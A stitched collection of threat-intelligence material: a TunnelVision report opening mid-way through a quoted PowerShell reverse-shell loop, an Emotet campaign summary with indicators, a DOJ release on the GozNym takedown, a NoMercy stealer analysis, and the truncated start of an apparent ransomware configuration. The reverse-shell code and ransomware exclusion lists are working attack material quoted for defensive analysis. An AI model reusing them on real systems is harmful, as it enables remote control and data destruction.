$valksdhfg = New-Object System.Net.Sockets.TCPClient($hst, $prt);
$banljsdfn = $valksdhfg.GetStream();
[byte[]]$bytes = 0..65535 | % { 0 };
while (($i = $banljsdfn.Read($bytes, 0, $bytes.Length)) -ne 0) {
$lkjnsdffaa = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$nsdfgsahjxx = (&(gcm '*ke-exp*') $lkjnsdffaa 2 > &1 | Out-String);
$nsdfgsahjxx2 = $nsdfgsahjxx + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($nsdfgsahjxx2);
$banljsdfn.Write($sendbyte, 0, $sendbyte.Length);
$banljsdfn.Flush();
watcher
};
$valksdhfg.Close();
};
```
Most of the “online” activities we observed were performed from this PowerShell backdoor. It seems to be a modified variant of a publicly available PowerShell one-liner. Among those activities were:
- Execution of recon commands.
- Creation of a backdoor user and adding it to the administrators group.
- Credential harvesting using Procdump, SAM hive dumps, and comsvcs MiniDump.
- Download and execution of tunneling tools, including Plink and Ngrok, used to tunnel RDP traffic.
- Execution of a reverse shell utilizing VMware Horizon NodeJS component.
- Internal subnet RDP scan using a publicly available port scan script.
Throughout the activity, the threat actor utilized a GitHub repository “VmWareHorizon” of an account owned by the threat actor, using the name “protections20”.
## Attribution
TunnelVision activities have been discussed previously and are tracked by other vendors under a variety of names, such as Phosphorus (Microsoft) and, confusingly, either Charming Kitten or Nemesis Kitten (CrowdStrike). This confusion arises since activity that Microsoft recognizes as a single group, “Phosphorous”, overlaps with activity that CrowdStrike distinguishes as belonging to two different actors, Charming Kitten and Nemesis Kitten. We track this cluster separately under the name “TunnelVision”. This does not imply we believe they are necessarily unrelated, only that there is at present insufficient data to treat them as identical to any of the aforementioned attributions.
## Indicators of Compromise
| TYPE | INDICATOR | NOTES |
|--------|------------------------------------------|-----------------------------------------|
| Domain | www[.]microsoft-updateserver[.]cf | Command and Control (C2) Server |
| Domain | www[.]service-management[.]tk | Payload server |
| IP | 51.89.169[.]198 | Command and Control (C2) Server |
| IP | 142.44.251[.]77 | Command and Control (C2) Server |
| IP | 51.89.135[.]142 | Command and Control (C2) Server |
| IP | 51.89.190[.]128 | Command and Control (C2) Server |
| IP | 51.89.178[.]210 | Command and Control (C2) Server, Tunneling Server |
| IP | 142.44.135[.]86 | Tunneling Server |
| IP | 182.54.217[.]2 | Payload Server |
| Github | https://github.com/protections20 | Account utilized to host payloads | |
# Emotet Summary: November 2021 Through January 2022
**By Brad Duncan**
**May 17, 2022**
**Category:** Malware
**Tags:** Emotet, Macros, MealyBug, Mummy Spider, Phishing, TA542
## Executive Summary
Emotet is one of the most prolific email-distributed malware families in our current threat landscape. Although a coordinated law enforcement effort shut down this malware in January 2021, Emotet resumed operations in November 2021. Since then, Emotet has returned to its status as a prominent threat. This blog provides a background on Emotet and reviews activity from this malware family since its return in November 2021. The information covers changes in Emotet operations from its revival through the end of January 2022. These examples will provide a more comprehensive picture and better indicate the worldwide threat Emotet currently poses.
**Primary Malware Discussed:** Emotet
**Operating System Affected:** Windows
**Related Unit 42 Topics:** Malware, macros, phishing
## Background on Emotet
Sometimes referred to as Geodo or Feodo, Emotet is Windows-based malware that first appeared in 2014 as a banking Trojan. Since then, Emotet has evolved into modular malware that performs various functions, including information stealing, spambot activity, and loading other malware. The threat actor behind Emotet is known through different designators, like Mealybug, MUMMY SPIDER, or TA542. Emotet’s primary method of distribution is through email.
Emotet is a prolific spammer. Emotet-infected computers often act as spambots, sending a dozen or more emails every minute that push more Emotet. This means thousands of Emotet emails can be sent by a single host every day. If hundreds of Emotet-infected hosts are active at any given time, this means hundreds of thousands of Emotet emails can be generated each day Emotet is actively spamming.
Emotet is evasive. Through a technique called hashbusting, Emotet generates different file hashes for malware distributed through its botnets. This ensures a malware sample’s SHA256 hash is different on each infected system. Emotet also uses obfuscated code in scripts used during its initial infection process.
Emotet is nimble. Its botnets frequently update IP addresses and TCP ports used for command and control (C2) communications. Emotet also frequently changes URLs hosting its malware, sometimes using dozens of different URLs each day.
Emails distributing Emotet contain malicious attachments or links to malicious files. These messages most often contain Microsoft Office files like Word documents or Excel spreadsheets. These Office documents contain malicious macro code designed to infect a vulnerable Windows host after a victim enables macros.
As it rose to prominence, Emotet began distributing other malware like Gootkit, IcedID, Qakbot, and Trickbot. By September 2019, Emotet's infrastructure was running on three separate botnets designated by the security research team Cryptolaemus as epoch 1, epoch 2, and epoch 3. The epoch designators are often abbreviated as E1, E2, and E3.
By 2020, a significant portion of malicious spam pushing Emotet used thread hijacking. Thread hijacking is a technique that utilizes legitimate messages stolen from infected computers' email clients. Emotet emails have frequently spoofed legitimate users and impersonated replies to these stolen emails.
Emotet occasionally takes a break from delivering malicious emails. Emotet's longest absence from the threat landscape occurred in early February 2020 and lasted more than five months. Emotet resumed operations in mid-July 2020 and quickly surpassed other threats in sheer volume of malicious spam.
In January 2021, a collaborative effort by law enforcement agencies and other authorities disrupted Emotet operations. This effectively stopped the threat actor, and Emotet disappeared from our threat landscape. Approximately 10 months later, Emotet resumed operations in mid-November 2021.
## Visual Timeline
Figure 1 presents a timeline of Emotet operations from its return in mid-November 2021 through January 2022. The timeline highlights notable Emotet activity during the three-month period covered in this blog.
## Emotet in November 2021
On Sunday, Nov. 14, 2021, security researcher Luca Ebach discovered a new Emotet binary delivered through a Trickbot infection. By Monday, Nov. 15, the Emotet infrastructure had resumed normal operations and began generating a large volume of malicious spam. The new Emotet infrastructure is running on two separate botnets designated as epoch 4 and epoch 5. These designators are often abbreviated as E4 and E5.
On Nov. 15, malicious spam for Emotet had one of three types of attachments: a password-protected ZIP archive, a Word document, or an Excel spreadsheet. This follows the same method we had typically seen with previous Emotet infections.
By Monday, Nov. 23, a batch file was added to the infection process. Emotet targets include various areas around the world. But even if victims are non-English speakers, templates for the Office documents are still in English.
At this time, enabling macros did not directly download and run the Emotet DLL. Instead, the macro code dropped a batch file and ran it with the following command:
`C:\WINDOWS\system32\cmd.exe /c c:\programdata\sdfhiuwu.bat`
As an evasion technique, an obfuscated script in the batch file generates a PowerShell command to retrieve an Emotet DLL and run it on the victim’s host. The PowerShell command uses a base64-encoded string.
The new Emotet DLL is similar to Emotet DLLs before the January 2021 takedown. Emotet is made persistent under a randomly named folder under the infected user’s AppData\Local\Temp directory. The modified date of the persistent DLL is backdated exactly one week prior to the infection. Emotet is made persistent through a Windows Registry update.
Since Emotet reappeared in November 2021, post-infection C2 activity consists of encrypted HTTPS traffic. Certificate issuer data for Emotet C2 HTTPS traffic uses generic values often seen with other malware families.
On Nov. 30, Emotet switched tactics again and began abusing Microsoft’s App Installer as part of its infection chain.
## Emotet Abuses Microsoft App Installer
Now disabled by Microsoft, App Installer is a protocol for Windows 10 used to install software directly from a web server, and it used XML-based app installer files with the extension .appinstaller. This protocol had been previously abused for BazarLoader malware attacks in November 2021.
The attack technique starts with complaint report-themed emails with links to malicious pages. These malicious pages are hosted on compromised websites and spoof Google Drive by using the same style of Google Drive pages, including a Google Drive icon that appears in the browser tab. The pages have links to supposedly preview a PDF-based complaint report. The link actually leads to a malicious .appinstaller file designed to infect a vulnerable Windows 10 host with Emotet.
The malicious .appinstaller file pretends to be an Adobe PDF component. In this case, criminals were abusing Microsoft Azure to host the malicious files. The malicious .appinstaller file retrieves a malicious ZIP archive appended with an .appxbundle file extension from the same server. Together, the entire .appxbundle is designed to retrieve an Emotet DLL and run it on a vulnerable Windows host.
Due to the nature of these app installer files, this infection method was initially difficult to detect. Fortunately, Microsoft quickly shut down Azure file servers hosting the app installer files. Microsoft has also disabled the app installer protocol, so this no longer remains an avenue of attack for Emotet or other malware.
## Emotet in December 2021
Throughout November 2021, examples of Emotet infections revealed data exfiltration and spambot activity. No indicators of follow-up malware were publicly reported until December 2021. By Dec. 7, the Cryptolaemus research team confirmed Cobalt Strike had been deployed to Emotet-infected Windows hosts.
December 2021 saw at least one more wave of emails from Emotet attempting to abuse Microsoft’s App Installer protocol. However, Emotet quickly moved on to other infection patterns and used different templates for Office documents, mostly Excel spreadsheets. In the week leading to Christmas day, Emotet emails contained links to web pages on various compromised websites. These pages also pretended to be from Google Drive and had links to download malicious Excel files.
On Thursday, Dec. 24, we saw similar emails with Christmas-themed subject lines and holiday wishes in the message text. This wave of emails delivered the same style of Excel spreadsheet.
After Dec. 24, Emotet stopped spamming until after the new year.
## Emotet in January 2022
On Tuesday, Jan. 11, 2022, Emotet resumed spamming after its holiday break. The emails continued with links to fake complaint pages, and the pages were sometimes customized to include the recipient’s name. This method was prevalent until Jan. 20.
By Friday, Jan. 21, Emotet emails went back to using attached Excel spreadsheets or password-protected ZIP archives containing Excel spreadsheets. Throughout the rest of the month, Excel spreadsheets for Emotet alternated between different templates.
In January, we continued to see reports of Emotet pushing Cobalt Strike. During our lab tests, we routinely saw Emotet-infected hosts generate spambot activity starting from 35-45 minutes after the initial infection.
## Conclusion
Since its return in November 2021, Emotet has once again become one of the most prolific malware families in our current threat landscape. Hundreds of thousands of emails can be generated each day Emotet is actively spamming. Hashbusting, code obfuscation, and other evasion techniques make Emotet a significant threat.
Windows users can lower their risk from Emotet through spam filtering, proper system administration, and ensuring their software is patched and up to date. Palo Alto Networks customers are further protected from Emotet through Cortex XDR and our Next-Generation Firewall with WildFire and Threat Prevention subscriptions.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
## Indicators of Compromise
Due to hashbusting, daily changes in malware URLs, and frequent changes for infection patterns, we can see hundreds of new indicators for Emotet every day. These indicators are too numerous and changes are too frequent to be useful in any single list. However, abuse.ch is a research project that provides free trackers for Emotet botnet command and control servers, URLs hosting Emotet malware, and Emotet malware samples.
### Appendix A: Emotet epoch 4 activity on Nov. 18, 2021
**SHA256 hashes for seven examples of password-protected ZIP archives:**
- a1ab66a0fbb84a29e5c7733c42337bc733d8b3c11e2d9f9e4357f47fb337c4d5 3.zip
- 176cfa7f0742d5a79b9cfbf266c437b965fc763cf775415ca251c6bb2dd5e9e5 9.zip
- 6c34e373479e1a7485025dc3ffa5d23db999aea83e4f3759bd8381fb88e2bbbf 435.zip
- 8dc28ac1c66f3d17794bb0059445f4deb9db029eb6d4ea1adca734d035bdaecf 1811.zip
- 4668e7d6bdb00fb80807ed91eef5ac9f6ba0dfd50d260d3e0240847b0ec16f69 18112021.zip
- bfdad57171267921a678ba9d86fd096c00197524698cc03a84d2cfeefdca5587 433492807279.zip
- 66c34636aaf73f74df8da9981ca6054eb4143d1761dbde8e0e83899805590db2 763325738862.zip
**Passwords for the above ZIP archives:**
- 3.zip password: 008
- 9.zip password: 3854
- 435.zip password: 636
- 1811.zip password: 9483
- 18112021.zip password: 2927
- 433492807279.zip password: 209
- 763325738862.zip password: 339
**SHA256 hashes for seven extracted Word documents:**
- 304fba4a048904744d6d1c4d8bfd5d7b4019c2c45aba0499d797ee0d6807dfa8 3.doc
- e5f3a7e75c03d45462992b0a973e7e25b533e293724590c9eb34f5ee729039b0 9.doc
- 0cacc247469125b5e0977b9de9814db0eb642c109ca5d13ee9c336aef2ec4c19 435.doc
- 801ec1ec71051838efe75fd89344b676fa741d9e7718e534f119c57a899f4792 1811.doc
- cbddc8fea92cdf40f8efac2fe8fa534d52d90cccecbb914f3827002f680da98a 18112021.doc
- fccaf2af38484493d763b0ea37e68a40eb6def3030cfa975fa8d389e96b49378 433492807279.doc
- d655ab6b9350ec4f64c735cd23be62ca87d49165b244cefe75ad0dbb061de3d4 763325738862.doc
**URLs generated by the above Word documents:**
- hxxp://jamaateislami[.]com/wp-admin/FKyNiHeRz1/
- hxxp://voltaicplasma[.]com/wp-includes/wkCYpDihyc8biTPn444B/
- hxxp://linebot.gugame[.]net/images/RX6MVSCgGr/
- hxxp://lpj917[.]com/wp-content/Cc4KG1MDR4xAWp91SjA/
- hxxp://html.gugame[.]net/img/5xUBiRIQ4s3EtKEv67Ebn/
- hxxp://xanthelasmaremoval[.]com/wp-includes/VVVcpYsRtGgjQqfgjxbS/
- hxxp://giadinhviet[.]com/pdf/log_in/8kQBFUyohsDRGCJx/
**Example of Emotet DLL file:**
- **SHA256 hash:** 555dff455242a5f82f79eecb66539bfd1daa842481168f1f1df911ac05a1cfba
- **File size:** 485,376 bytes
- **File location:** hxxp://jamaateislami[.]com/wp-admin/FKyNiHeRz1/
- **File location:** C:\ProgramData\1245045870.dll
- **File location:** C:\Users\[username]\AppData\Local\Tzbklmcf\ljkklzcncxkf.pgk
- **Run method from Windows Registry update:** rundll32.exe [filename],truHNmRuL
**HTTPS Emotet C2 traffic from an infected Windows host:**
- 51.178.61[.]60 port 443
- 103.161.172[.]108 port 443
- 122.129.203[.]163 port 443
### Appendix B: Emotet epoch 4 abusing App Installer on Nov. 30, 2021
**Link from email:**
hxxp://hispanicaidgroup[.]org/ufay0vq/keWIgzwT/
**Malicious App Installer:**
- **SHA256 hash:** 450cba4a0f2b8c14dee55c33c9c0f522a4dddd1b463e39e8e736ed37dc2fac74
- **File size:** 472 bytes
- **File location:** hxxps://locstorageinfo.z13.web.core.windows[.]net/ioocceneen.appinstaller
**Malicious Appxbundle:**
- **SHA256 hash:** 7c55c3656184b145b3b3f6449c05d93fa389650ad235512d2f99ee412085cf3a
- **File size:** 1,261,364 bytes
- **File location:** hxxps://locstorageinfo.z13.web.core.windows[.]net/ioocceneen.appxbundle
**Malicious executable contained in Appxbundle:**
- **SHA256 hash:** 36a81cd64e7649d9f91925194e89e8463c980682596eef19c4f5df6e1ac77b2
- **File size:** 192,800 bytes
### Appendix C: Emotet epoch 4 infection on Dec. 21, 2021
**Attached Excel file from email:**
- **SHA256 hash:** fcf5500a8b46bf8c7234fb0cc4568e2bd65b12ef8b700dc11ff8ee507ba129da
- **File size:** 194,273 bytes
- **File name:** REP_1671971987654103376.xls
**HTA file:**
- **SHA256 hash:** 97ebdff655fa111863fbd084f99187c9b6b369fe88fdb1333f8b89aac09fc48d
- **File size:** 10,980 bytes
- **File location:** hxxp://87.251.86[.]178/pp/_.html
**Powershell script:**
- **SHA256 hash:** a08271fe6d67cc6cf678683f58e22412e6872a985a03b8444584bea57aa3cbb7
- **File size:** 721 bytes
- **File location:** hxxp://87.251.86[.]178/pp/PP.PNG
**URLs generated by the above Powershell script:**
- hxxp://mustache.webstory[.]sa/wp-includes/cRwe2Pkxasj/
- hxxps://vdevigueta[.]com/wp-admin/qYOwD7kPD6JX/
- hxxp://bujogradba[.]com/5tvjjl/qiP8H0W5GmR5P9fGIw/
- hxxps://daxinghuo[.]com/get/oU8lM4P/
- hxxp://masl[.]cn/1/4Ilcpoj6PjTsj3eAR/
**Example of Emotet DLL:**
- **SHA256 hash:** 7c35902055f69af2cbb6c941821ceba3d79b2768dd2235c282b195eb48cc6c83
- **File size:** 1,257,472 bytes
- **File location:** hxxp://mustache.webstory[.]sa/wp-includes/cRwe2Pkxasj/
- **File location:** C:\Users\Public\Documents\ssd.dll
- **File location:** C:\Users\[username]\AppData\Local\Piqvlxzjzu\vrjlv.srn
- **Run method:** rundll32.exe [filename],[any alpha-numeric value]
**HTTPS Emotet C2 traffic from an infected Windows host:**
- 54.37.212[.]235 port 80
- 144.202.34[.]169 port 443
### Appendix D: Emotet epoch 5 infection on Jan. 11, 2022
**Example of link in email for fake complaint page:**
hxxp://goodmarketinggroup[.]com/newish/562_9559085/
**URL to download Excel spreadsheet:**
hxxp://goodmarketinggroup[.]com/newish/562_9559085/?i=1
**Example of downloaded Emotet Excel file:**
- **SHA256 hash:** 292826fa66737d718d0d23f5842dc88e05c8ba5ade7e51212dded85137631b31
- **File size:** 85,352 bytes
- **File name:** 06028_2603.xlsm
**Three URLs to download an Emotet DLL after enabling macros:**
- hxxp://mammy-chiro[.]com/case/ZTkBzbz/
- hxxp://bluetoothheadsetreview[.]xyz/wp-includes/xmdHAGgfki/
- hxxp://topline36[.]xyz/wp-includes/css/BB9Ajvjs89U9O/
**Example of Emotet DLL:**
- **SHA256 hash:** 4978285fc20fb2ac2990a735071277302c9175d16820ac64f326679f162354ff
- **File size:** 481,792 bytes
- **File location:** hxxp://mammy-chiro[.]com/case/ZTkBzbz/
- **File location:** C:\Users\[username]\dwa.ocx
- **File location:** C:\Users\[username]\AppData\Local\Fhcnkauwkz\gavlgclbak.wwa
- **Run method:** rundll32.exe [filename],[any alpha-numeric value]
**HTTPS Emotet C2 traffic from an infected Windows host:**
- 41.226.30[.]6 port 8080
- 45.138.98[.]34 port 80
- 62.141.45[.]103 port 443
- 161.97.77[.]73 port 443 |
# GozNym Cyber-Criminal Network Operating out of Europe Targeting American Entities Dismantled in International Operation
**May 16, 2019**
Department of Justice
Office of Public Affairs
A complex transnational organized cybercrime network that used GozNym malware in an attempt to steal an estimated $100 million from unsuspecting victims in the United States and around the world has been dismantled as part of an international law enforcement operation. GozNym infected tens of thousands of victim computers worldwide, primarily in the United States and Europe. The operation was highlighted by the unprecedented initiation of criminal prosecutions against members of the network in four different countries as a result of cooperation between the United States, Georgia, Ukraine, Moldova, Germany, Bulgaria, Europol, and Eurojust.
United States Attorney Scott W. Brady of the Western District of Pennsylvania made the announcement at Europol, located in The Hague, Netherlands, along with his international partners.
The operation was conducted by the United States Attorney’s Office for the Western District of Pennsylvania and the FBI’s Pittsburgh Field Office, along with the Office of the Prosecutor General of Georgia, Prosecutor General’s Office of Ukraine, Office of the Prosecutor General of the Republic of Moldova, Public Prosecutor’s Office Verden (Germany), the Supreme Prosecutor’s Office of Cassation of the Republic of Bulgaria, Ministry of Internal Affairs of Georgia, National Police of Ukraine, General Police Inspectorate of the Republic of Moldova, the Luneburg Police of Germany, and the Republic of Bulgaria’s General Directorate for Combatting Organized Crime with the significant assistance of Europol and Eurojust.
“International law enforcement has recognized that the only way to truly disrupt and defeat transnational, anonymized networks is to do so in partnership,” said U.S. Attorney Brady. “The collaborative and simultaneous prosecution of the members of the GozNym criminal conspiracy in four countries represents a paradigm shift in how we investigate and prosecute cybercrime. Cybercrime victimizes people all over the world. This prosecution represents an international cooperative effort to bring cybercriminals to justice.”
Earlier today, the U.S. Attorney’s Office for the Western District of Pennsylvania unsealed an Indictment returned by a federal grand jury in Pittsburgh charging 10 members of the GozNym criminal network with conspiracy to commit computer fraud, conspiracy to commit wire fraud and bank fraud, and conspiracy to commit money laundering. An eleventh member of the conspiracy was previously charged in a related Indictment. The victims of these crimes were primarily U.S. businesses and their financial institutions, including a number of victims located in the Western District of Pennsylvania.
“This takedown highlights the importance of collaborating with our international law enforcement partners against this evolution of organized cybercrime,” said FBI Pittsburgh Special Agent in Charge Robert Jones. “Successful investigation and prosecution is only possible by sharing intelligence, credit, and responsibility. Our adversaries know that we are weakest along the seams and this case is a fantastic example of what we can accomplish collectively.”
According to the Indictment, the defendants conspired to:
- infect victims’ computers with GozNym malware designed to capture victims’ online banking login credentials;
- use the captured login credentials to fraudulently gain unauthorized access to victims’ online bank accounts; and,
- steal money from victims’ bank accounts and launder those funds using U.S. and foreign beneficiary bank accounts controlled by the defendants.
The defendants reside in Russia, Georgia, Ukraine, Moldova, and Bulgaria. The operation was an unprecedented international effort to share evidence and initiate criminal prosecutions against members of the same criminal network in multiple countries.
At the request of the United States, Krasimir Nikolov, aka “pablopicasso,” “salvadordali,” and “karlo,” of Varna, Bulgaria, was searched and arrested by Bulgarian authorities and extradited to the United States in December 2016 to face prosecution in the Western District of Pennsylvania. Nikolov’s primary role in the conspiracy was that of a “casher” or “account takeover specialist” who used victims’ stolen online banking credentials captured by GozNym malware to access victims’ online bank accounts and attempt to steal victims’ money through electronic funds transfers into bank accounts controlled by fellow conspirators. Nikolov is named as a GozNym conspirator in the newly unsealed indictment, although he is charged in a related Indictment filed in the Western District of Pennsylvania. Nikolov entered a guilty plea in federal court in Pittsburgh on charges relating to his participation in the GozNym conspiracy on April 10, 2019. He is scheduled to be sentenced on Aug. 30, 2019.
Five of the named defendants reside in Russia and remain fugitives from justice. However, to overcome the inability to extradite the remaining defendants to the United States for prosecution, an unprecedented effort was undertaken to share evidence and build prosecutions against defendants in the remaining countries where they reside, including Georgia, Ukraine, and Moldova. The prosecutions are based on shared evidence acquired through coordinated searches for evidence in Georgia, Ukraine, Moldova, and Bulgaria, as well as from evidence shared by the United States and Germany from their respective investigations.
The GozNym network exemplified the concept of “cybercrime as a service.” According to the Indictment, the defendants advertised their specialized technical skills and services on underground, Russian-language, online criminal forums. The GozNym network was formed when these individuals were recruited from the online forums and came together to use their specialized technical skills and services in furtherance of the conspiracy.
According to the Indictment, Alexander Konovolov, aka “NoNe,” and “none_1,” age 35, of Tbilisi, Georgia, was the primary organizer and leader of the GozNym network who controlled more than 41,000 victim computers infected with GozNym malware. Konovolov assembled the team of cybercriminals charged in the Indictment, in part by recruiting them through the underground online criminal forums. Marat Kazandjian, aka “phant0m,” age 31, of Kazakhstan and Tbilisi, Georgia, was allegedly Konovolov’s primary assistant and technical administrator. Konovolov and Kazandjian are being prosecuted in Georgia for their respective roles in the GozNym criminal network.
Gennady Kapkanov, aka “Hennadiy Kapkanov,” “flux,” “ffhost,” “firestarter,” and “User 41,” age 36, of Poltava, Ukraine, was an administrator of a bulletproof hosting service known by law enforcement and computer security researchers as the “Avalanche” network. This network provided services to more than 200 cybercriminals, including Konovolov and Kazandjian, and it hosted more than 20 different malware campaigns, including GozNym. Kapkanov’s apartment in Poltava, Ukraine was searched in November 2016 during a German-led operation to dismantle the network’s servers and other infrastructure. Kapkanov was arrested for shooting an assault rifle through the door of his apartment at Ukrainian law enforcement officers conducting the search. Through the coordinated efforts being announced today, Kapkanov is now facing prosecution in Ukraine for his role in providing bulletproof hosting services to the GozNym criminal network.
Alexander Van Hoof, aka “al666,” age 45, of Nikolaev, Ukraine, was a “cash-out” or “drop master” who provided fellow members of the conspiracy with access to bank accounts he controlled that were designated to receive stolen funds from GozNym victims’ online bank accounts.
Eduard Malanici, aka “JekaProf,” and “procryptgroup,” age 32, of Balti, Moldova, provided crypting services to cybercriminals. Malanici crypted GozNym malware in furtherance of the conspiracy to enable the malware to avoid detection by anti-virus tools and protective software on victims’ computers. Malanici, along with two associates, is being prosecuted in Moldova.
Victims of the GozNym malware attacks include:
- An asphalt and paving business located in New Castle, Pennsylvania;
- A law firm located in Washington, DC;
- A church located in Southlake, Texas;
- An association dedicated to providing recreation programs and other services to persons with disabilities located in Downers Grove, Illinois;
- A distributor of neurosurgical and medical equipment headquartered in Freiburg, Germany, with a U.S. subsidiary in Cape Coral, Florida;
- A furniture business located in Chula Vista, California;
- A provider of electrical safety devices located in Cumberland, Rhode Island;
- A contracting business located in Warren, Michigan;
- A casino located in Gulfport, Mississippi;
- A stud farm located in Midway, Kentucky; and
- A law office located in Wellesley, Massachusetts.
Five Russian nationals charged in the Indictment who remain fugitives from justice include:
- Vladimir Gorin, aka “Voland,” “mrv,” and “riddler,” of Orenburg, Russia. Gorin was a malware developer who oversaw the creation, development, management, and leasing of GozNym malware, including to Alexander Konovolov.
- Konstantin Volchkov, aka “elvi,” age 28, of Moscow, Russia, provided spamming services to cybercriminals. Volchkov conducted spamming operations of GozNym malware on behalf of the conspiracy. The spamming operations involved the mass distribution of GozNym malware through “phishing” emails. The phishing emails were designed to appear legitimate to entice the victim recipients into opening the emails and clicking on a malicious link or attachment, which facilitated the downloading of GozNym onto the victims’ computers.
- Ruslan Katirkin, aka “stratos,” and “xen,” age 31, of Kazan, Russia, resided in Khmelnytskyi, Ukraine, during the time frame of the charged conspiracy. Katirkin, like Krasimir Nikolov, was a “casher” or “account takeover specialist” who used victims’ stolen online banking credentials captured by GozNym malware to access victims’ online bank accounts and attempt to steal victims’ money through electronic funds transfers into bank accounts controlled by fellow conspirators.
- Viktor Vladimirovich Eremenko, aka “nfcorpi,” age 30, of Stavropol, Russia, and Farkhad Rauf Ogly Manokhin, aka “frusa,” of Volgograd, Russia, were “cash-outs” or “drop masters” on behalf of the GozNym criminal network. Like Alexander Van Hoof, Eremenko and Manokhin provided fellow members of the conspiracy with access to bank accounts they controlled that were designated to receive stolen funds from GozNym victims’ online bank accounts. Manokhin was arrested at the request of the United States while visiting Sri Lanka in February 2017. Following his arrest, Manokhin was released on bail but was required to remain in Sri Lanka pending the outcome of his extradition proceedings to the United States. In December 2017, Manokhin unlawfully absconded from Sri Lanka and successfully fled back to Russia prior to the conclusion of the extradition proceedings.
Other agencies and organizations partnering in this effort include the United States Secret Service, the National Cyber-Forensics and Training Alliance (NCFTA) in Pittsburgh, and the Shadowserver Foundation. The Justice Department’s Office of International Affairs provided significant assistance throughout the investigation and spearheaded the efforts to enable the United States to request searches, arrests, and extraditions in the foreign countries as well as the sharing of evidence with those countries through Mutual Legal Assistance Treaty requests.
The case is being prosecuted by Assistant U.S. Attorney Charles A. “Tod” Eberle, Chief of National Security and Cybercrime for the Western District of Pennsylvania. |
# NoMercy Stealer Adding New Features
**July 7, 2022**
## New Stealer Rapidly Evolving into Clipper Malware
During a routine threat-hunting exercise, Cyble Research Labs came across a post on Telegram selling an information stealer malware called “NoMercy stealer.” The malware developer is currently selling the stealer for 780 Indian rupees or 10 USD, indicating that the stealer is developed primarily for Indian Threat Actors (TA). The NoMercy stealer developer is also rapidly adding new capabilities.
The stealer is very primitive, and our observations indicate that it is at the initial stages of development. The NoMercy stealer initially checks for the system’s public IP using hxxp://api.ipify[.]org. After getting the public IP, the stealer registers itself with the Command-and-Control server (C&C). After registration, the stealer sends various system information to the C&C server.
The stealer then proceeds to continuously send screenshots, keystrokes, webcam photos, and device audio to the C&C server. The Threat Actors (TAs) behind this group are actively working on enhancing the capabilities of the stealer. During the course of our analysis, we noticed that the TAs had added new features to this stealer, including clipper and VPN client-stealer capabilities.
The TAs behind NoMercy are selling this new version of the stealer for 20 USD.
## Technical Analysis
The sha-256 of the information stealer is 9ecc76d4cda47a93681ddbb67b642c2e1f303ab834160ab94b79b47381e23a65. This stealer is a 32-bit, console-based C# executable file. The file is a debug version of this stealer project.
The NoMercy stealer has a hardcoded configuration embedded into the source code. The configuration contains the details such as C&C URL, file name for establishing persistence, version information, etc. After initial execution, the information stealer copies itself into the start-up folder of the user’s machine. This results in the execution of the stealer at the time of the system restart.
After establishing persistence, the stealer generates a unique UID using system artifacts such as the victim’s public IP and account name. The stealer gets the public IP of the victim from hxxp://api.ipify[.]org and appends the account name generated using the whoami command. After generating UID, the stealer registers itself to the C&C server using the UID and stealer’s version information. The stealer then uses the format for its C&C communications.
After sending the victim data to the C&C server, the stealer collects various system information data points from the victim using cmd.exe. The information is extracted using various commands such as whoami, arp, ipconfig, etc. After getting the internal system information, the stealer queries and extracts additional system information from the infected system such as public IP, hardware ID, main memory, GPU, MAC address, private IP, OS version, details of any antivirus software installed, keyboard language, clipboard, running processes, and CPU information.
After collecting the information, the stealer encodes the stolen data to a base64 string and sends the information to the C&C server. The stealer calls the PostCLIInfoCNC() and PostOtherInfoCNC() methods for sending the information to its C&C server.
After sending all the victim’s information to its C&C server, the malware runs three separate threads for different operations:
1. Send screenshots
2. Send microphone audio
3. Send webcam snapshots
The malicious URL resolves to the IP address 193.34.76[.]44, which is highly active and hosts multiple malicious files. We have observed strains of various information stealers connecting to this IP.
## Conclusion
The NoMercy stealer is a very crude and simple information stealer in its initial stages. The TAs behind this stealer are actively modifying the stealer and adding additional capabilities. The active infections are not very high in volume but are a good indicator of the trends of the TAs involved. One such emerging trend is adding clipper capabilities to the malware. Cyble Research Labs continuously monitors all new and existing malware to keep our readers aware and informed.
## MITRE ATT&CK® Techniques
| Technique | Technique ID | Description |
|--------------------------------|--------------|-----------------------------------------------|
| Execution | T1204 | User Execution |
| Persistence | T1547 | Boot or Logon AutoStart Execution |
| Discovery | T1087 | Account Discovery |
| | T1046 | Network Service Discovery |
| | T1012 | Query Registry |
| | T1518 | Software Discovery |
| | T1082 | System Information Discovery |
| | T1016 | System Network Configuration |
| | T1033 | Discovery System Owner/User Discovery |
| Collection | T1119 | Automated Collection |
| | T1115 | Clipboard Data |
| | T1056 | Input Capture |
| | T1113 | Screen Capture |
| | T1125 | Video Capture |
| Command and Control | T1071 | Application Layer Protocol |
## Indicators of Compromise (IOCs)
| Indicator | Description | Type |
|---------------------------------------------|----------------------|--------|
| a101aebd7e97dba97311cde683a64a32 | NoMercy | MD5 |
| e010b078904516eeb6c471904d4adc190c6f53fe | Stealer | SHA-1 |
| 9ecc76d4cda47a93681ddbb67b642c2e1f303ab834160ab94b79b47381e23a65 | | SHA-256|
| hxxp://six-clowns-sing-103-119-240-166.loca[.]lt/ | Command and Control | URL |
| 193.34.76[.]44 | Command and Control | IP | |
```json
{
"pk": "mZ/LzIHtIGXw9sA4TcaIvpRUc6+YWuJ6yrAEOL8FOig=",
"pid": "75bc8eba-e23e-4135-aa09-957c6b8d8fa2",
"sub": "3c852cc8-b7f1-436e-ba3b-c53b7fc6c0e4",
"dbg": false,
"wht": {
"fld": [
"mozilla",
"perflogs",
"msocache",
"$recycle.bin",
"system volume information",
"tor browser",
"windows",
"programdata",
"appdata",
"boot",
"application data",
"$windows.~bt",
"program files",
"windows.old",
"program files (x86)",
"google",
"intel",
"$windows.~ws"
],
"fls": [
"autorun.inf",
"ntuser.dat.log",
"ntuser.ini",
"boot.ini",
"iconcache.db",
"bootfont.bin",
"ntuser.dat",
"thumbs.db",
"bootsect.bak",
"ntldr",
"desktop.ini"
],
"ext": [
"ics",
"cur",
"icl",
"lnk",
"hta",
"idx",
"diagpkg",
"exe",
"sys",
"msi",
"mpa",
"shs",
"nomedia",
"ani",
"diagcab",
"ps1",
"scr",
"cpl",
"bin",
"msstyles",
"ocx",
"msu",
"nls"
],
"outlook": [
"thebat",
"oracle",
"sqbcoreservice",
"mydesktopservice",
"wordpad",
